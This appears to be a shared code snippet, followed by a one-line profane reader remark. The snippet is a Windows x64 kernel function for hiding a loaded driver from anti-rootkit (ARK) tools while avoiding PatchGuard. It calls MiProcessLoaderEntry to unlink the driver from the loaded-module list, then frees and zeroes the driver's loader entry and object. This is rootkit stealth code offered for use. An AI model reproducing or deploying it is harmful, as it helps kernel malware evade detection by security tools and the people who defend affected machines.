Hide Driver from ARK tools ( win7 -- win10 x64, patchguard safe )

drvhider.c

VOID DrvObjHide(_In_ PVOID Context) {
	// Wait the driver fully loaded
	NTSTATUS status = STATUS_SUCCESS;
	INT64    interval = 1000 * -10000i64;
	status = KeDelayExecutionThread(KernelMode,FALSE,(PLARGE_INTEGER)&interval);
	PDRIVER_OBJECT driver_object = (PDRIVER_OBJECT)Context;
	
	tMiProcessLoaderEntry fun = (tMiProcessLoaderEntry)FindMiProcessLoaderEntry();
	// MiProcessLoaderEntry will remove your driver from PsLoadedModuleList, and the patchguard moniting context.
	// So it won't trigger a BSOD
	fun(driver_object->DriverSection,FALSE);
	
	PLDR_DATA_TABLE_ENTRY DataTableEntry = (PLDR_DATA_TABLE_ENTRY)driver_object->DriverSection;
	DataTableEntry->LoadCount -= 1;

	if (DataTableEntry->FullDllName.Buffer != NULL) {
		ExFreePool(DataTableEntry->FullDllName.Buffer);
	}
	if (DataTableEntry->SectionPointer != NULL) {
		ObDereferenceObject(DataTableEntry->SectionPointer); // dereference the driversection
	}
	ExFreePool(DataTableEntry);
	ExFreePool(driver_object->DriverName.Buffer);
	RtlSecureZeroMemory(driver_object, sizeof(DRIVER_OBJECT));// zero the driver object
}

what the fuck is "fun"